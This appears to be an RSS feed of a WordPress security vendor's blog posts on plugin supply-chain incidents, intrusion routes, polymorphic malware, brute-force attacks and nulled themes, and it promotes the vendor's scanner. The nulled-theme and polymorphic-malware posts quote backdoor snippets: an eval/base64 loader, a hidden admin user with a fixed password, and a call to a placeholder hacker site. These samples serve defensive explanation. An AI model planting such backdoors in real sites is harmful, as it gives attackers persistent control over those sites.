have complex structures, such that renaming a folder may cause file loading problems, making the entire site inaccessible. In this case, you will need to rename the folder back to its original name, check the relevance of the files, and deactivate the plugin. Do I need to enhance the WordPress login screen? It is highly likely that you do not need to enhance the WordPress login screen with 2FA or other means to begin with. 60-70% of successful WordPress hacks are caused by plugin vulnerabilities. If the login password is strong, there is no chance that a hacker can log in with administrative privileges [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10780</post-id>	</item>
		<item>
		<title>Examples of wordpress plugins turned into malware due to acquisition by another company or hijacking of wordpress.org accounts and how to prevent it in advance.</title>
		<link>https://blog.website-malware-removal.com/10774</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 11 Mar 2026 01:50:48 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[clean]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10774</guid>

					<description><![CDATA[We will explain actual cases of WordPress plug-ins becoming malware due to acquisition by another company or hijacking of wordpress.org accounts, and how to prevent this from happening in advance. Can plugins distributed from the official WordPress website contain malware? Plugins distributed from the official WordPress website are open source, meaning that their code is available to technicians from all over the world, and they are constantly checked for malware by volunteer private developers, security companies, and WordPress operators. For this reason, although it is rare, there have been several cases where plug-ins (including updates) distributed from the official site have been infected with malware and have been distributed. 1 Display Widgets malware contamination case 2017 Display Widgets was a popular plugin used by about 200,000 sites, but the developer sold the plugin to a third party for $15,000. With the subsequent v2.6.0 release, malware was introduced by that third party, and numerous sites that updated to this version or installed Display Widgets were affected by the malware. (According to one theory, tens of thousands of sites). The timeline of this incident is as follows May 19, 2017. Former developer sells plugin to third party (under the name Mason Soiza) for $15,000 June 21, 2017 New owner releases first update v2.6.0. Malware code is secretly inserted at this point. June 22, 2017 SEO consultant David Cameron Law discovers an anomaly in v2.6.0; reports to WordPress.org that it is downloading over 38MB of external code and sending user IP addresses, viewed pages, domains, etc. to a third-party server June 23, 2017. WordPress.org Removes Plugin from Repository (1st time) June 30, 2017 Attacker releases v2.6.1, which includes geolocation.php but is &#8220;not recognized as malicious code&#8221; and allowed to be reposted. New exploit adds ability to hide spam content from view for logged-in users. July 1, 2017 WordPress.org removed (for the second time) July 6, 2017 Released v2.6.2, keeping geolocation.php and adding ON/OFF option to &#8220;make it look legit&#8221; July 23, 2017 Another user reports spam delivery. July 24, 2017 WordPress.org removed (for the 3rd time) September 2, 2017 v2.6.3 is released. Malware is still intact and even bug fixes are made, deemed &#8220;clearly intentional maintenance&#8221;. September 8, 2017 WordPress.org permanently removed (4th and final) As you can see from the history, when a plugin contains malware, it is discovered within 1-20 days, and WordPress officials have stopped distributing that plugin within 20 days even in this weasel-worded case. This case was the first time ever that a malicious plugin acquirer said it had fixed the problem multiple times, but in fact continued to maliciously introduce malware. 2 Social Warfare Malware Contamination Case 2024 The Social Warfare plugin malware contamination incident was not an acquisition, but a malware contamination incident that occurred when hackers took over the Social Warfare development management screen (plugin upload management and other functions of wordpress.org). This is said to be a strong possibility, and the investigation is still ongoing. June 22, 2024. Malicious code was introduced into Social Warfare, distributed as an automatic update via WordPress.org. June 22, 2024. WordPress.org [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10774</post-id>	</item>
		<item>
		<title>I have all my plugins up to date and WordPress is infected, what is the real route of entry?</title>
		<link>https://blog.website-malware-removal.com/10769</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 04 Mar 2026 01:31:28 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10769</guid>

					<description><![CDATA[There are cases where WordPress is infected with malware even though WordPress itself and all plugins are up-to-date. We will explain the real route of entry in this case. Intrusion route 1: Unauthorized login to the management screen Twenty percent of the time, WordPress is hacked and tampered with because hackers are able to determine the password for administrative privileges and log in. Once a hacker is able to log in to the WordPress administration panel, they can do almost anything they want on the server, including defacing the site, installing unauthorized plug-ins, and uploading viruses. Hackers can use a variety of common password dictionaries to find out the login password for administrative privileges in what is called a brute force attack, in which the login enforcement is automatically repeated tens of thousands of times. We recommend that you use a password that is at least 12 characters long, is a random string of characters, and contains at least one single-byte alphanumeric character (upper and lower case) and one symbol. It is also dangerous to use a password that is close to your administrator ID. Intrusion route 2: Unauthorized login via test site The above unauthorized logins are equally dangerous with respect to test sites. Even if you think that the test site is undetectable, its URL or folder can be discovered by a search engine. We recommend that the administrator password for the test site be a random string of at least 12 characters, including at least one upper and one lower case alphanumeric character and one symbol. Intrusion route 3: Infection via another site on the server Some recent malware spreads infection automatically by scanning the folder structure on the server. If there are multiple sites sharing the same parent (Root) folder on the server, malware infection may spread through other sites. For this reason, it is necessary to remove unnecessary sites from the server, and to take security measures such as increasing the strength of the administrator&#8217;s password for all sites on the server, updating and vulnerability scanning to close the vulnerabilities. The following plug-ins can be used to easily perform vulnerability countermeasures and malware scanning of all sites on the server. We hope you will make use of it. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. Intrusion route 4 Vulnerability of the server itself In some cases, more fundamental vulnerabilities in the server&#8217;s OS (Linux), server configuration software, etc. can be exploited to infect a site with malware. Vulnerabilities in operating systems and middleware (Apache, Nginx, PHP, etc.) are discovered on a regular basis, and continued use of older, unpatched versions can allow an attacker to exploit these holes to gain entry into the server itself. Key measures include Regular OS and software updates, disabling unnecessary services and ports, configuring firewalls, strengthening SSH connections, installing a WAF (Web Application Firewall), regular log monitoring and tamper detection etc. However, on shared servers, these measures are taken by the server management company. (In many cases, the site operator is required to update the PHP version [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10769</post-id>	</item>
		<item>
		<title>Why you may not notice that your WordPress site has been tampered with and how to create a mechanism for early detection.</title>
		<link>https://blog.website-malware-removal.com/10756</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Fri, 20 Feb 2026 01:21:36 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10756</guid>

					<description><![CDATA[We will explain why you may not notice that your WordPress site has been tampered with and how to create a mechanism for early detection. Why you may not notice that your WordPress site has been tampered with. Increasingly, WordPress sites are hacked and defaced and go unnoticed for long periods of time. The reason for this is that malware may have mechanisms in place to hide the defacement of the site from the administrator, or it may only manifest itself in rare instances. Such stealthy malware often has the following features Symptoms appear only when the site is accessed from Google search results. Once symptoms (such as misdirection to other sites) appear, COOKIE is used to prevent symptoms from appearing for a while. The system is designed so that users who are logged in with administrator privileges do not experience symptoms. Even if illegal links are inserted in the site by SEO spam, they are hidden by transparency or extremely small display on the appearance of the site. What should I do if I receive a complaint from a customer that the site jumps to an incorrect page without their permission, or that they cannot view the site? If you receive such a complaint, the site administrator can check the symptoms and find that the symptoms do not occur while logged in, or the malware may have already been configured to prevent the symptoms from occurring when accessed from your IP address. In such cases, we recommend that you first check to see if the symptoms really do not occur by using the following methods. 1. Log out of the WordPress site. 2. Delete all cache and cookies in incognito mode or in your browser. 3. Access the site again to check for any unauthorized behavior. 4. Delete all browser cache and cookies again. 5. Enter the URL of your site into a search engine and click on the link in the search results to see if any malware symptoms appear. 6. Check the above on your smartphone as well (some malware may only show symptoms on smartphones). We also recommend using an external inspection site such as Sucuri SItecheck. (This site simulates access from Google to externally detect malware on your site, so you can think of it as automatically performing the above checks.) https://sitecheck.sucuri.net/ https://malware-scan.website-malware-removal.com/ The best way to detect malware is to exhaustively inspect every file from the inside of the site External inspection tools, such as Sucuri, have much lower detection rates than those that exhaustively inspect files from within the site. In general, the code that creates the output (the malware itself) is always present somewhere, rather than the code that expresses the symptoms of the malware&#8217;s output, and is characterized by very long code, making it much easier to detect. Please use a plugin that performs a comprehensive scan of your WordPress site for malware from the inside. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. Automatically scans for malware infection and notifies you automatically. Free WordPress:Malware Scan &#038; Security Plugin [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10756</post-id>	</item>
		<item>
		<title>What is polymorphic malware infecting WordPress?</title>
		<link>https://blog.website-malware-removal.com/10750</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Tue, 17 Feb 2026 01:28:34 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[malware]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10750</guid>

					<description><![CDATA[Polymorphic malware (polymorphic malware) that infects WordPress will be described. What is polymorphic malware? In a nutshell, polymorphic malware is malware that has the same content but differs only in the appearance of its code, such that the obfuscation and code randomization methods differ from file to file. The reason why this type of malware has become so prevalent in recent years is that, although the malicious functions themselves are the same, the code is different, making it difficult to detect patterns and allowing it to slip past malware detection plug-ins and other inspections. As an example, let us look at the following two pieces of malware code. ?php $Vxql = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1K ... The code continues ?php $xiHfy = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1K ... The code continues In this example, you can see that only the first $Vxql part is different. You can see that the malware detection software can only detect one of them, even if it tries to detect it with the detection pattern &#8220;?php $Vxql = &#8216;Sy1LzNFQKyzNL7G&#8221;. Although the two malware codes above share a common part, Sy1LzNFQKyzNL7G2V0svsY, advanced polymorphic malware can be quite different in almost the entire code. In addition, such code may use the domain of the site as a seed for randomizing malware, making it extremely difficult to detect malware code that differs from site to site. How to detect polymorphic malware? Unlike PC viruses, polymorphic malware is born from the fact that the PHP scripting language in which WordPress is built does not require compilation (conversion to machine language) and has various obfuscation methods that can be automatically executed on the server. It is malware. There are three possible methodologies for detecting this type of malware 1 Detection by examining the differences from a set of legitimate files 2 Detection by using a larger number of patterns 3 Detection by using regular expressions and using only external shapes Using a regular expression, for example ?php $Vxql = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1K ... The code continues Malware such as the following can be detected in the form of abstract regular expressions such as /\?php \$[a-z]{4,5} = '^\S{1000}/i PHP followed by $, followed by a 4- or 5-letter alphabet followed by = &#8216;, followed by a string of at least 1000 characters, not including spaces. This is a regular expression meaning To detect polymorphic malware, please use the [Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal], which detects malware even with regular expressions using a vast array of patterns. However, methodologies 1, 2, and 3 are more difficult, and the plug-ins that detect malware with regular expressions may not have the latest patterns registered, so detection may be limited.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10750</post-id>	</item>
		<item>
		<title>A brute force attack may be the cause of many 504 and 403 errors on your WordPress site</title>
		<link>https://blog.website-malware-removal.com/10732</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 04 Feb 2026 02:07:06 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10732</guid>

					<description><![CDATA[A brute force attack may be the cause of the frequent 504 and 403 errors on your WordPress site. We will explain the symptoms and how to deal with this issue. Server overload due to brute force attack A brute force attack is an attack technique that uses the WordPress administrator&#8217;s ID (which is relatively easy to obtain) and a dictionary of tens of thousands of commonly used passwords to repeatedly perform login enforcement, eventually attempting to match the password and successfully log in. If the password is strong enough, the login will not be successful. However, this attack may cause tens of thousands of accesses to the server in a short period of time, resulting in frequent 504(*) or 403 errors. What are 504 and 403 errors? A 503 error is an error where the server is overloaded and stops processing before retrieving data or displaying the site. Some servers (e.g., major shared servers) may also have a 403 error, which automatically bounces the process when the server is overloaded. How can I find out if my site is being brute-force stacked? One way to check if your site is being brute-forced is to look at the server logs. wp-login.php and xmlrpc.php may be brute-forced if they record excessive accesses. A security plugin can also detect brute force attacks. You can detect brute force attacks with the Hack Monitor feature enabled in the [Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. The recorded brute force attacks are shown in the figure below To resolve the overload caused by brute force attacks Here are some measures to resolve server overload caused by brute force attacks. Eliminate log bloat Brute force attacks can increase the server load by bloating the site&#8217;s access logs, access analysis, and security logs. (If there are millions of logs in the database, simply writing new logs can slow down the site significantly and cause 503 errors.) In this case, it is possible to reduce the number of logs or prevent new logs from being recorded, thereby reducing the likelihood of 503 errors. Protect the login screen We can protect the login screen by preventing access to wp-login.php and xmlrpc.php, which are vulnerable to brute force attacks, by using security plugins, etc., or by preventing excessive access to these files. It is also effective to block access to the hacker&#8217;s site by directly blocking the IP of the brute force attacker, thereby preventing the hacker from gaining access to the site. Reference Why and How to Prevent WordPress Brute Force Attacks with Login Screen Security Alone We hope this was helpful.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10732</post-id>	</item>
		<item>
		<title>Why WordPress brute force attacks cannot be prevented by login screen security alone.</title>
		<link>https://blog.website-malware-removal.com/10722</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Fri, 30 Jan 2026 01:33:57 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10722</guid>

					<description><![CDATA[We will explain why WordPress brute force attacks cannot be prevented by login screen security alone and what to do about it. What is a brute force attack? A brute force attack is an attack that attempts to successfully log in as an administrator by repeating the WordPress login enforcement thousands and thousands of times by predicting the password. Once a hacker is able to log in as a WordPress administrator, they can do anything they want, including modifying files, hosting unauthorized files, and installing unauthorized plugins via the WordPress administration screen. Hackers have a dictionary of commonly used passwords and will use this dictionary to conduct an automatic brute force attack. This attack can cause a huge amount of traffic to WordPress and slow down the site. Brute force attacks cannot be prevented by login screen security alone. There are two types of brute force attacks: one is by sending login information to wp-login.php, the WordPress login program, and the other is by using the XMLRPC mechanism. For this reason, it is not possible to prevent brute force attacks by simply adding a capture to the login screen or changing the login screen URL. What is the brute force attack method using XMLRPC? XMLRPC is a mechanism that allows WordPress to create posts from the outside via the Internet. If the login information is incorrect, an error message is output. By analyzing this error message, it is possible to determine whether the login was successful or not, thus enabling a brute force attack. How can I prevent brute force attacks on both the login screen and XMLRPC? Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. This section explains how to prevent brute force attacks on both the login screen and XMLRPC using the After downloading and installing the plugin, select &#8220;High&#8221; in the Malware Scan > Security tab of the administration page and save the settings. This will enable the Login Lockdown, Login Capture, Password Reset Capture, and Prevent Excessive Access to XMLRPC features and enable the security features to prevent brute force attacks on both the login screen and XMLRPC. Monitor brute force attacks and block IPs It is also possible to monitor brute force attacks and block IPs. On the plugin&#8217;s administration page, under the &#8220;Hack Monitor &#038; IP Blocker&#8221; tab, check the Enable Hack Monitor checkbox and save the settings. This will allow you to monitor, detect, and record brute force attacks and vulnerability attacks by hackers. The recorded hacker attacks can then be used to block the hacker&#8217;s IP. By blocking the hacker&#8217;s IP, the hacker will no longer be able to brute-force attack on that IP. We hope this helps.]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10722</post-id>	</item>
		<item>
		<title>We will explain 5 blind spots that are more dangerous for WordPress operators who think they have security measures in place.</title>
		<link>https://blog.website-malware-removal.com/10717</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 26 Jan 2026 01:35:14 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10717</guid>

					<description><![CDATA[We will explain five blind spots that are more dangerous for WordPress operators who think they have security measures in place. They are taking security measures only for the login screen. Around 20% of WordPress hacks are caused by weak passwords for administrative privileges, which allow hackers to take away administrative privileges. Hackers use brute force attacks, which are often used to test the administrator&#8217;s password one after the other to see if it can be used to log in. In fact, the most effective way to counter this attack is to strengthen the password for administrator privileges rather than increasing the security of the login screen. Since it takes more than a thousand years to match a strong password, which is logically a random string of 12 or more characters, with a brute force attack, it will be impossible to break a strong password. A strong password is a random string of nonsense characters that contains at least one uppercase and one lowercase symbol. We also hope you will note that changing the URL or captcha of the login screen is effective in preventing brute force attacks, but it alone will not prevent the vulnerability attack, which is the biggest cause of WordPress being hacked, as described below. Only enabled plugins care about vulnerabilities. It is said that 60% of the causes of WordPress being hacked are vulnerabilities in old plugins. Therefore, it is an extremely effective security measure to always be aware of the vulnerabilities of your plugins and update them on a regular basis. However, although WordPress allows you to enable and disable plugins, there are many vulnerabilities that can be exploited even if they are disabled. For this reason, we recommend that you remove deactivated plug-ins if possible, or update deactivated plug-ins as well. Please use our vulnerability database to check the vulnerability of plug-ins. No security measures have been taken for the test site or other sites on the server. We often see cases where a company has taken all the necessary security measures for its main WordPress site, but has neglected to secure its test site or other WordPress sites on the server. However, many of today&#8217;s malware reads the folders on the server from the top and spreads itself to other WordPress sites. This can lead to the spread of malware to other WordPress sites that have good security measures in place. We recommend that you remove abandoned sites from your server and implement security measures for all WordPress sites on your server. Five free WordPress security measures Backups are a good thing! Some people think that if they keep a backup of their WordPress site, they can revert to that point in time in the event of a malware infection, but in reality, the site may already contain malware at the time of backup, or the vulnerability at the time of backup is an entry point that hackers can quickly use to re-infect the site. Hackers can use the vulnerability to re-infect the system repeatedly. For this reason, it is not always safe to [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10717</post-id>	</item>
		<item>
		<title>We will explain the dangers of using illegally distributed plug-ins and themes.</title>
		<link>https://blog.website-malware-removal.com/10709</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Wed, 21 Jan 2026 01:11:23 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10709</guid>

					<description><![CDATA[We will explain why nulled (illegally distributed) WordPress themes/plugins are dangerous. What is a nulled theme/plugin? There are many sites that host and distribute various paid WordPress themes and plugins, or programs that have been removed from the official directory or suspended from distribution, without permission, such as by removing the license certificate. Such unauthorized distribution from sites that are not official distribution sites (especially programs that have had their licenses removed) is called nulled themes and plugins. (Nulled themes and plug-ins may contain malware or backdoors. In addition to programs that bypass the license authorization process, nulled themes and plug-ins may, although not 100% of the time, contain backdoors, which are portals that allow hackers to modify server data. For this reason, it is safer not to use nulled themes or plug-ins. Some specific examples of how malware can be included are listed below. eval(base64_decode($code)); eval(gzinflate(str_rot13(base64_decode('Sy1LzNFQy8xLVShJLEnV...')))) ; base64_decode gzinflate hides (obfuscates) the contents of the malicious code and executes arbitrary code with eval(). The reality is a backdoor. add_action('*****', function() { if (!username_exists('support')) { wp_******_user('support', 'P@ssw0rd!', 'support@example.com'); } }); Generates an invalid user (some of the code has been withheld because it is dangerous) function theme_license_check() { $data = file_get_contents('hacker site'); As shown above, some code disguised as a license can be used to notify an unauthorized destination of its own existence, or to pull down and execute unauthorized code. Unknowingly using a nulled (illegally distributed) theme/plugin If you have outsourced the creation of your site, the production company you outsourced to may have used a nulled theme/plugin. This often leads to hackers attacking your site and spreading malware throughout the site. To some extent, malicious code in nulled themes and plugins can be detected by malware scanning plugins. We recommend that you run a malware scan once your site has been delivered by an outsourced vendor. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal].]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10709</post-id>	</item>
		<item>
		<title>Why Backup Restores Are Dangerous After WordPress Tampering</title>
		<link>https://blog.website-malware-removal.com/10681</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Mon, 22 Dec 2025 01:32:19 +0000</pubDate>
				<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[removal]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://blog.website-malware-removal.com/?p=10681</guid>

					<description><![CDATA[After WordPress has been tampered with, we explain why backups are dangerous. Why reinfection is repeated after restoring a site from backup? Restoring a defaced WordPress site from a backup may temporarily restore the site and make it appear that the malware symptoms have disappeared. This section explains the causes and countermeasures. 1 Malware has not disappeared If, at the time of backup, there was already a file of a type known as a backdoor, which is an entry point for hackers, that file has been restored as well. This may have caused the hacker to repeat the tampering again via that file. Also, if the file is restored by overwriting it from a backup, the type of malware that infects the legitimate file is removed from the server as is, but exists on its own. Countermeasure: When restoring from a backup, it is necessary to carefully examine whether or not there is any malware infection at the time of the backup. 2 The login password has fallen into the hands of a hacker or an unauthorized user has been registered. If a hacker already knows the login password for the site, or if an unauthorized user has been registered on the site, the hacker may be able to log in to the administration panel and continue to alter files on the server, install backdoors, add unauthorized plug-ins, etc. If a hacker is already registered on your site, he or she will be able to log in to your site. Countermeasure: Changing the password for administrative privileges and removing unauthorized users are effective countermeasures. 3 Process is infected with malware. If a server process (not a file, but a form of malware that keeps running in memory) is infected with malware, it cannot be erased even if restored from a backup site. Countermeasure: It is necessary to investigate whether any malware continues to run on the server process and stop the malicious process if it exists. Reference Word How to stop and detect malware residing in a process in WordPress How to check if malware is deployed in a process (memory) on a WordPress site 4 Vulnerabilities can also be restored Restoring a site from a backup can restore the vulnerabilities in the site that allowed the hacker to get into the site in the first place. If you restore from a backup, we recommend that you also take measures to plug the vulnerabilities, such as updating plugins and WordPress itself. 5 The site has been reinfected via another site on the server. Many malware nowadays spread infection via another site on the server (a site that shares the root folder), going beyond the site folder for each domain. For this reason, it is advisable to perform malware scanning and vulnerability countermeasures on all sites on the server, not just those that are showing symptoms of malware. We hope you will take advantage of this free plugin developed by WP Doctor, which allows you to perform malware scanning and vulnerability scanning. Free] WordPress: Malware Scan &#038; Security Plug-in [Malware and Virus Detection [&#8230;]]]></description>
		
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">10681</post-id>	</item>
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